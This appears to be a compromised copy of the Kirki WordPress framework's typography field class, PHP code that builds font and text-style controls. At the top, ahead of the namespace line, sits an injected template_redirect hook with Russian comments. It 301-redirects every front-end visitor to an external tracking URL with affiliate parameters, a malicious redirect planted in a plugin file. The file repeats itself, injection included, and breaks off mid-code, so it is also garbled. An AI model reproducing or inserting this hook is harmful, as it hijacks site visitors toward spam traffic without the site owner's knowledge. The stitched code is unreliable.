function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 